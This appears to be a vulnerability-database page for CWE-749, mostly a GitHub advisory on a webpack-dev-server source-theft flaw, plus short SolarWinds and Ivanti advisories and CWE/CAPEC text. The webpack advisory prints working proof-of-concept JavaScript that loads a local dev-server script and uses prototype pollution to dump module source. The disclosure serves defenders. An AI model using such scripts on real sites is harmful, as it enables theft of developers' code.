        console.log(`${module}:`, window.__webpack_modules__[module].toString())
    }
})
document.head.appendChild(script)
### Impact This vulnerability can result in the source code to be stolen for users that has `output.iife: false` option set and uses a predictable port and output path for the entrypoint script.
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.2.0"
      },
      "package": {
        "ecosystem": "npm",
        "name": "webpack-dev-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.2.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-30359"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-749"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-06-04T21:09:13Z",
    "nvd_published_at": "2025-06-03T18:15:25Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nSource code may be stolen when you access a malicious web site.\n\n### Details\nBecause the request for classic script by a script tag is not subject to same origin policy, an attacker can inject `\u003cscript src=\"http://localhost:8080/main.js\"\u003e` in their site and run the script. Note that the attacker has to know the port and the output entrypoint script path. Combined with prototype pollution, the attacker can get a reference to the webpack runtime variables.\nBy using `Function::toString` against the values in `__webpack_modules__`, the attacker can get the source code.\n\n### PoC\n1. Download [reproduction.zip](https://github.com/user-attachments/files/18426585/reproduction.zip) and extract it\n2. Run `npm i`\n3. Run `npx webpack-dev-server`\n4. Open `https://e29c9a88-a242-4fb4-9e64-b24c9d29b35b.pages.dev/`\n5. You can see the source code output in the document and the devtools console.\n\n![image](https://github.com/user-attachments/assets/9d4dcdca-5d24-4c84-a7b4-feb1782bca09)\n\nThe script in the POC site is:\n```js\nlet moduleList\nconst onHandlerSet = (handler) =\u003e {\n  console.log(\u0027h\u0027, handler)\n  moduleList = handler.require.m\n}\n\nconst originalArrayForEach = Array.prototype.forEach\nArray.prototype.forEach = function forEach(callback, thisArg) {\n  callback((handler) =\u003e {\n    onHandlerSet(handler)\n  })\n  originalArrayForEach.call(this, callback, thisArg)\n  Array.prototype.forEach = originalArrayForEach\n}\n\nconst script = document.createElement(\u0027script\u0027)\nscript.src = \u0027http://localhost:8080/main.js\u0027\nscript.addEventListener(\u0027load\u0027, () =\u003e {\n  console.log(moduleList)\n  for (const key in moduleList) {\n    const p = document.createElement(\u0027p\u0027)\n    const title = document.createElement(\u0027strong\u0027)\n    title.textContent = key\n    const code = document.createElement(\u0027code\u0027)\n    code.textContent = moduleList[key].toString()\n    p.append(title, \u0027:\u0027, document.createElement(\u0027br\u0027), code)\n    document.body.appendChild(p)\n  }\n})\ndocument.head.appendChild(script)\n```\n\nThis script uses the function generated by [`renderRequire`](https://github.com/webpack/webpack/blob/3919c844eca394d73ca930e4fc5506fb86e2b094/lib/javascript/JavascriptModulesPlugin.js#L1383).\n```js\n    // The require function\n    function __webpack_require__(moduleId) {\n        // Check if module is in cache\n        var cachedModule = __webpack_module_cache__[moduleId];\n        if (cachedModule !== undefined) {\n            return cachedModule.exports;\n        }\n        // Create a new module (and put it into the cache)\n        var module = __webpack_module_cache__[moduleId] = {\n            // no module.id needed\n            // no module.loaded needed\n            exports: {}\n        };\n        // Execute the module function\n        var execOptions = {\n            id: moduleId,\n            module: module,\n            factory: __webpack_modules__[moduleId],\n            require: __webpack_require__\n        };\n        __webpack_require__.i.forEach(function(handler) {\n            handler(execOptions);\n        });\n        module = execOptions.module;\n        execOptions.factory.call(module.exports, module, module.exports, execOptions.require);\n        // Return the exports of the module\n        return module.exports;\n    }\n```\nEspecially, it uses the fact that `Array::forEach` is called for `__webpack_require__.i` and `execOptions` contains `__webpack_require__`.\nIt uses prototype pollution against `Array::forEach` to extract `__webpack_require__` reference.\n\n### Impact\nThis vulnerability can result in the source code to be stolen for users that uses a predictable port and output path for the entrypoint script.\n\n\u003cdetails\u003e\n\u003csummary\u003eOld content\u003c/summary\u003e\n\n### Summary\nSource code may be stolen when you use [`output.iife: false`](https://webpack.js.org/configuration/output/#outputiife) and access a malicious web site.\n\n### Details\nWhen `output.iife: false` is set, some global variables for the webpack runtime are declared on the `window` object (e.g. `__webpack_modules__`).\nBecause the request for classic script by a script tag is not subject to same origin policy, an attacker can inject `\u003cscript src=\"http://localhost:8080/main.js\"\u003e` in their site and run the script. Note that the attacker has to know the port and the output entrypoint script path. By running that, the webpack runtime variables will be declared on the `window` object.\nBy using `Function::toString` against the values in `__webpack_modules__`, the attacker can get the source code.\n\nI pointed out `output.iife: false`, but if there are other options that makes the webpack runtime variables to be declared on the `window` object, the same will apply for those cases.\n\n### PoC\n1. Download [reproduction.zip](https://github.com/user-attachments/files/18409777/reproduction.zip) and extract it\n2. Run `npm i`\n3. Run `npx webpack-dev-server`\n4. Open `https://852aafa3-5f83-44da-9fc6-ea116d0e3035.pages.dev/`\n5. Open the devtools console.\n6. You can see the content of `src/index.js` and other scripts loaded.\n\n![image](https://github.com/user-attachments/assets/87801607-57bb-4656-bc0d-2bfbe207f436)\n\nThe script in the POC site is:\n```js\nconst script = document.createElement(\u0027script\u0027)\nscript.src = \u0027http://localhost:8080/main.js\u0027\nscript.addEventListener(\u0027load\u0027, () =\u003e {\n    for (const module in window.__webpack_modules__) {\n        console.log(`${module}:`, window.__webpack_modules__[module].toString())\n    }\n})\ndocument.head.appendChild(script)\n```\n\n### Impact\nThis vulnerability can result in the source code to be stolen for users that has `output.iife: false` option set and uses a predictable port and output path for the entrypoint script.\n\n\u003c/details\u003e",
  "id": "GHSA-4v9v-hfq4-rm2v",
  "modified": "2025-10-03T13:25:38Z",
  "published": "2025-06-04T21:09:13Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/webpack/webpack-dev-server/security/advisories/GHSA-4v9v-hfq4-rm2v"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-30359"
    },
    {
      "type": "WEB",
      "url": "https://github.com/webpack/webpack-dev-server/commit/5c9378bb01276357d7af208a0856ca2163db188e"
    },
    {
      "type": "WEB",
      "url": "https://github.com/webpack/webpack-dev-server/commit/d2575ad8dfed9207ed810b5ea0ccf465115a2239"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/webpack/webpack-dev-server"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "webpack-dev-server users\u0027 source code may be stolen when they access a malicious web site"
}

GHSA-4VHG-QVJQ-W8M6

Vulnerability from github – Published: 2023-09-14 00:30 – Updated: 2023-12-28 18:30
VLAI
Details

The SolarWinds Platform was susceptible to the Incorrect Comparison Vulnerability. This vulnerability allows users with administrative access to SolarWinds Web Console to execute arbitrary commands with NETWORK SERVICE privileges.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-23845"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-697",
      "CWE-749"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-09-13T23:15:08Z",
    "severity": "HIGH"
  },
  "details": "The SolarWinds Platform was susceptible to the Incorrect Comparison Vulnerability. This vulnerability allows users with administrative access to SolarWinds Web Console to execute arbitrary commands with NETWORK SERVICE privileges.",
  "id": "GHSA-4vhg-qvjq-w8m6",
  "modified": "2023-12-28T18:30:32Z",
  "published": "2023-09-14T00:30:43Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-23845"
    },
    {
      "type": "WEB",
      "url": "https://documentation.solarwinds.com/en/success_center/orionplatform/content/release_notes/solarwinds_platform_2023-3-1_release_notes.htm"
    },
    {
      "type": "WEB",
      "url": "https://www.solarwinds.com/trust-center/security-advisories/CVE-2023-23845"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-5FG5-92P6-87XV

Vulnerability from github – Published: 2026-05-12 15:31 – Updated: 2026-05-12 15:31
VLAI
Details

An exposed dangerous method on the Core Server of Ivanti Endpoint Manager before version 2024 SU6 allows a remote authenticated attacker to leak access credentials.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-8109"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-749"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-12T15:16:17Z",
    "severity": "MODERATE"
  },
  "details": "An exposed dangerous method\u00a0on\u00a0the Core Server of\u00a0Ivanti Endpoint Manager\u00a0before\u00a0version\u00a02024 SU6\u00a0allows a\u00a0remote authenticated\u00a0attacker to\u00a0leak access credentials.",
  "id": "GHSA-5fg5-92p6-87xv",
  "modified": "2026-05-12T15:31:41Z",
  "published": "2026-05-12T15:31:41Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-8109"
    },
    {
      "type": "WEB",
      "url": "https://hub.ivanti.com/s/article/Security-Advisory-Ivanti-Endpoint-Manager-EPM-May-2026?language=en_US"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

Mitigation
Architecture and Design

If you must expose a method, make sure to perform input validation on all arguments, limit access to authorized parties, and protect against all possible vulnerabilities.

Mitigation
Architecture and Design Implementation

Strategy: Attack Surface Reduction

  • Identify all exposed functionality. Explicitly list all functionality that must be exposed to some user or set of users. Identify which functionality may be:
  • Ensure that the implemented code follows these expectations. This includes setting the appropriate access modifiers where applicable (public, private, protected, etc.) or not marking ActiveX controls safe-for-scripting.
  • accessible to all users
  • restricted to a small set of privileged users
  • prevented from being directly accessible at all
CAPEC-500: WebView Injection

An adversary, through a previously installed malicious application, injects code into the context of a web page displayed by a WebView component. Through the injected code, an adversary is able to manipulate the DOM tree and cookies of the page, expose sensitive information, and can launch attacks against the web application from within the web page.